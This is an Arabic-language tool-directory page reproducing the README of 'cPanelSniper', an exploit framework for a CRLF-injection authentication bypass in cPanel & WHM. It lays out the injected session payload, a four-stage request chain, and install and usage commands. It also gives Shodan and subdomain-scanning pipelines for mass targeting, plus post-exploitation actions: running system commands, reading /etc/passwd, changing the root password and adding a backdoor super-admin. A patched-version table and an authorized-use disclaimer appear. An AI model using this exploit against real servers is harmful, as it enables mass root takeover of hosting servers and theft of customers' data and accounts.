Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cPanelSniper — CVE-2026-41940 — تجاوز المصادقة في cPanel وWHM عبر حقن CRLF في ملف الجلسة | Kitploit
أدوات/GitHubGitHub/zwanski2019/cpanelsniper
المصادقة والترخيصماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتما بعد الاستغلالاختبار الاختراقالقيادة والسيطرةالفريق الأحمر
GitHubzwanski2019/cpanelsniper

cPanelSniper

CVE-2026-41940 — تجاوز المصادقة في cPanel وWHM عبر حقن CRLF في ملف الجلسة

منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

cPanelSniper

cPanelSniper

Python CVE cPanel stdlib pipeline Author

CVE-2026-41940 — تجاوز المصادقة في cPanel & WHM عبر حقن CRLF في ملف الجلسة
سلسلة استغلال من 4 مراحل · قشرة WHM تفاعلية · ماسح شامل · جاهز للخطوط الأنابيب · stdlib فقط


نظرة عامة

cPanelSniper هو إطار عمل استغلال متخصص لثغرة CVE-2026-41940، وهي ثغرة حرجة في تجاوز المصادقة تؤثر على cPanel & WHM. تسمح الثغرة للمهاجمين عن بُعد دون مصادقة بالحصول على وصول جذري (root) إلى WHM عن طريق حقن تسلسلات CRLF في ملف الجلسة عبر ترويسة Authorization في HTTP — دون الحاجة إلى أي بيانات اعتماد صالحة.

  • درجة CVSS: 10.0 (حرجة)
  • الاستغلال في البرية: مؤكد (أبريل 2026)
  • الأنظمة المتأثرة: ~70 مليون نطاق يعمل بـ cPanel & WHM
  • بدون تبعيات: بايثون stdlib خالص — لا pip، لا requests، لا حزم خارجية

لاختبار الاختراق المصرح به وبرامج مكافآت الثغرات فقط.


كيف تعمل

السبب الجذري يكمن في Session.pm: دالة saveSession() تستدعي filter_sessiondata() بعد كتابة ملف الجلسة على القرص. هذا يعني أن أحرف CRLF المضمنة في قيمة ترويسة Authorization: Basic تُكتب حرفيًا في ملف الجلسة، مما يحقن حقولًا يتحكم بها المهاجم قبل حدوث التنقية.

root@kitploit:~
التدفق الطبيعي:
  POST /login/ → filter_sessiondata() → كتابة الجلسة → فحص المصادقة

التدفق القابل للاستغلال:
  POST /login/ → كتابة الجلسة (حقن حمولة CRLF) → filter_sessiondata() → فحص المصادقة يقرأ الملف المسموم

حمولة CRLF

قيمة Authorization: Basic تُفك ترميزها إلى:

root@kitploit:~
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

تُكتب هذه الحقول مباشرة في ملف الجلسة على القرص. عند قراءتها مرة أخرى، يتعامل cPanel مع الجلسة كجلسة جذر مصادق عليها بالكامل.

سلسلة الاستغلال من 4 مراحل

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  المرحلة 0 — اكتشاف اسم المضيف الأساسي                      │
│  GET /openid_connect/cpanelid → 307 → اسم المضيف الحقيقي    │
├─────────────────────────────────────────────────────────────┤
│  المرحلة 1 — إنشاء جلسة ما قبل المصادقة                     │
│  POST /login/?login_only=1  (بيانات اعتماد خاطئة)           │
│  ← 401 + كوكي whostmgrsession                               │
├─────────────────────────────────────────────────────────────┤
│  المرحلة 2 — حقن CRLF                                       │
│  GET / + Cookie: session + Authorization: Basic <الحمولة>   │
│  cpsrvd يكتب حقول CRLF في ملف الجلسة                        │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  المرحلة 3 — النشر (أداة do_token_denied)                   │
│  GET /scripts2/listaccts                                    │
│  يطلق مسح raw→cache — تصبح الحقول المحقونة نشطة             │
│  ← 401 Token denied (متوقع)                                 │
├─────────────────────────────────────────────────────────────┤
│  المرحلة 4 — التحقق من وصول جذر WHM                         │
│  GET /cpsessXXXXXXXXXX/json-api/version                     │
│  ← 200 {"version":"11.x.x.x","result":1}  = تم الاختراق     │
└─────────────────────────────────────────────────────────────┘

الإصدارات المتأثرة


التثبيت

root@kitploit:~
git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help

لا حاجة لتثبيت pip. بايثون 3.8+ stdlib خالص فقط.


الاستخدام

الفحص الأساسي

root@kitploit:~
# هدف واحد — فحص فقط
python3 cPanelSniper.py -u https://target.com:2087

# هدف واحد — قشرة تفاعلية بعد التجاوز
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# فحص شامل من ملف
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json

# فحص إجباري (تخطي اكتشاف cPanel)
python3 cPanelSniper.py -u https://target.com:2087 --force

إجراءات ما بعد الاستغلال

root@kitploit:~
# سرد جميع حسابات cPanel على الخادم
python3 cPanelSniper.py -u https://target.com:2087 --action list

# تنفيذ أمر نظام
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# الحصول على معلومات الخادم (اسم المضيف، الحمل، القرص، مضيف MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# الحصول على إصدار cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version

# تغيير كلمة مرور الجذر
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# قشرة WHM تفاعلية
python3 cPanelSniper.py -u https://target.com:2087 --action shell

الخطوط الأنابيب

root@kitploit:~
# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 | \
  python3 cPanelSniper.py -t 30 -o results.json

# من قائمة النطاقات
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 | \
  python3 cPanelSniper.py -t 30 -o results.json

# نتائج Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | \
  python3 cPanelSniper.py -t 30 -o shodan_results.json

# أنبوب stdin
echo "https://target.com:2087" | python3 cPanelSniper.py

# مصادر متعددة مجتمعة
{ subfinder -d target.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 | \
  python3 cPanelSniper.py -t 20 --action list

قشرة WHM التفاعلية

بعد تجاوز ناجح، يفتح خيار --action shell موجهًا تفاعليًا:

root@kitploit:~
════════════════════════════════════════════════════════════
  قشرة WHM — target.com
  الإصدار: CVE-2026-41940 | المصادقة: تجاوز CRLF
  اكتب 'help' للأوامر، 'exit' للخروج
════════════════════════════════════════════════════════════

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  [حسابات cPanel]  target.com:2087 (47 مستخدمًا)
    user01               النطاق: example.com    البريد: [email protected]
    user02               النطاق: shop.com       البريد: [email protected]
    ...

[email protected] ▶ cat /etc/passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...

[email protected] ▶ info
  [معلومات الخادم]  https://target.com:2087
  اسم المضيف: srv01.target.com
  الحمل: 0.72 / 0.66 / 0.69
  الإصدار: 11.130.0.6

[email protected] ▶ addadmin mitsec P@ss2026!
  [تم إنشاء مسؤول خلفي]
  الهدف   : https://target.com:2087
  اسم المستخدم : mitsec
  كلمة المرور : P@ss2026!
  الملف الشخصي : super_admin

[email protected] ▶ exit

أوامر القشرة


مرجع سطر الأوامر

root@kitploit:~
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                       [-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
                       [--action ACTION] [--passwd PASS] [--cmd CMD]
                       [--new-user USER] [--new-domain DOMAIN]
                       [-o OUTPUT] [--no-color]

الهدف:
  -u, --url URL          عنوان URL لهدف واحد (مثال: https://host:2087)
  -l, --list LIST        ملف يحتوي على عناوين URL (واحد في كل سطر)
  --hostname HOSTNAME    تجاوز ترويسة Host الأساسية (يُكتشف تلقائيًا)

الفحص:
  -t, --threads N        عدد الخيوط المتزامنة (الافتراضي: 10)
  --timeout N            مهلة الطلب بالثواني (الافتراضي: 15)
  --rate-limit N         تأخير بين الأهداف (الافتراضي: 0)
  --force                تخطي فحص اكتشاف cPanel

ما بعد الاستغلال:
  --action ACTION        الإجراء: list | passwd | cmd | exec | info |
                                 version | shell | adduser
  --passwd PASS          كلمة مرور الجذر الجديدة (--action passwd)
  --cmd CMD              أمر نظام (--action cmd/exec)
  --new-user USER        اسم مستخدم cPanel جديد (--action adduser)
  --new-domain DOMAIN    نطاق cPanel جديد (--action adduser)

الإخراج:
  -o, --output FILE      حفظ النتائج في ملف JSON
  --no-color             تعطيل ألوان ANSI

استعلامات Shodan

root@kitploit:~
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087

مثال على الإخراج

root@kitploit:~
   ██████╗██████╗  █████╗ ███╗  ██╗███████╗██╗
  ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
  ...

  CVE-2026-41940 — تجاوز مصادقة cPanel & WHM عبر حقن CRLF
  4 مراحل: ما قبل المصادقة → حقن CRLF → نشر → تحقق → ما بعد الاستغلال
  في البرية | CVSS 10.0 | بواسطة Mitsec (@ynsmroztas)

  الإعدادات:
   الأهداف  : 1
   الخيوط  : 10
   المهلة  : 15 ثانية
   الإجراء : list

14:46:22 [SCAN] بدء سلسلة الاستغلال من 4 مراحل... https://target.com:2087
14:46:23 [INFO] تم اكتشاف اسم المضيف الأساسي: srv01.target.com
14:46:23 [STEP] المرحلة 1/4 — إنشاء جلسة ما قبل المصادقة...
14:46:23 [  OK] المرحلة 1: جلسة ما قبل المصادقة = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] المرحلة 2/4 — حقن CRLF عبر ترويسة Authorization...
14:46:24 [  OK] المرحلة 2: HTTP 307 → الرمز=/cpsess8493537756
14:46:24 [STEP] المرحلة 3/4 — إطلاق أداة do_token_denied (raw→cache)...
14:46:25 [  OK] المرحلة 3: HTTP 401 — تم إطلاق أداة do_token_denied
14:46:25 [STEP] المرحلة 4/4 — التحقق من وصول جذر WHM...
14:46:26 [PWND] تم تأكيد CVE-2026-41940 — وصول جذر WHM!
14:46:26 [PWND]   الرمز    : /cpsess8493537756
14:46:26 [PWND]   الإصدار  : 11.130.0.6
14:46:26 [PWND]   عنوان API  : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] تنفيذ إجراء ما بعد الاستغلال: list
14:46:27 [ API] listaccts → HTTP 200

  [حسابات cPanel]  target.com:2087 (47 حسابًا)
    client01    النطاق: client01.com    البريد: [email protected]
    client02    النطاق: client02.net    البريد: [email protected]
    ...

══════════════════════════════════════════════════════════════════════
  cPanelSniper — اكتمل الفحص
  الوقت: 5.8 ثانية  ·  الأهداف: 1

  ⚡ 1 هدف (أهداف) قابلة للاختراق

  الهدف   : https://target.com:2087
  الإصدار  : 11.130.0.6
  الرمز    : /cpsess8493537756
  عنوان API  : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════

التفاصيل التقنية

حقن ملف الجلسة

قيمة Authorization: Basic المحقونة (بعد فك ترميز base64) تحتوي على تسلسلات CRLF تصبح أسطرًا جديدة في ملف جلسة cPanel:

root@kitploit:~
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1

يقوم قارئ جلسات cPanel بتحليل هذه كحقول جلسة شرعية، مما يمنح وصولًا جذريًا كاملًا إلى WHM.

المرحلة 3 — أداة do_token_denied

الخطوة الحرجة والتي غالبًا ما تُغفل: بعد حقن CRLF (المرحلة 2)، توجد بيانات الجلسة المسمومة فقط في ملف الجلسة الخام. طلب إلى /scripts2/listaccts يطلق معالج do_token_denied الداخلي، الذي يدفع بيانات الجلسة الخام إلى ذاكرة التخزين المؤقت للجلسة. بدون هذا الدفع، ستعيد المرحلة 4 رمز 403.

استخراج رمز الجلسة

root@kitploit:~
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
                              ^              ^
                              |              +-- تجزئة ob (مستخرجة)
                              +-- اسم الجلسة (يُستخدم للحقن)

يتم استخراج اسم الجلسة (قبل %2C) واستخدامه كقيمة الكوكي للطلبات اللاحقة.


المراجع

  • watchTowr Labs — التحليل الفني لـ CVE-2026-41940
  • نشرة أمان cPanel
  • NVD — CVE-2026-41940
  • مدونة Hadrian — تحليل CVE-2026-41940
  • قالب Nuclei — CVE-2026-41940

إخلاء المسؤولية

هذه الأداة مخصصة لاختبار الأمان المصرح به وبرامج مكافآت الثغرات فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية ولا يتحمل مسؤولية أي إساءة استخدام أو ضرر ناتج عن هذه الأداة. احصل دائمًا على إذن كتابي مناسب قبل الاختبار.


المؤلف

Mitsec — @ynsmroztas

  • 🏆 أفضل هاكر — Intigriti
  • 🐛 تم الكشف عن 2,430+ ثغرة
  • 💀 1,100+ نتيجة حرجة P1
  • 🏅 100+ تكريم في قاعة المشاهير

صُنع بـ ❤️ بواسطة @ynsmroztas

تنزيل الأداة
الفرعالإصدارات المتأثرةالإصدار المُصحح
110.x≤ 11.110.0.9611.110.0.97
118.x≤ 11.118.0.6211.118.0.63
126.x≤ 11.126.0.5311.126.0.54
132.x≤ 11.132.0.2811.132.0.29
134.x≤ 11.134.0.1911.134.0.20
136.x≤ 11.136.0.411.136.0.5
الأمرالوصف
id / whoamiعرض UID واسم المضيف
hostnameالحصول على اسم مضيف الخادم
versionمعلومات إصدار cPanel
infoالحمل، القرص، مضيف MySQL، الإصدار
accountsسرد جميع حسابات مستخدمي cPanel
cat <path>قراءة محتوى ملف
ls [path]سرد الدليل
exec <cmd>تنفيذ أمر نظام
addadmin <user> <pass>إنشاء مسؤول WHM خلفي
passwd <pass>تغيير كلمة مرور الجذر
api <endpoint> [k=v ...]استدعاء واجهة WHM JSON API الخام
helpعرض جميع الأوامر
exitالخروج من القشرة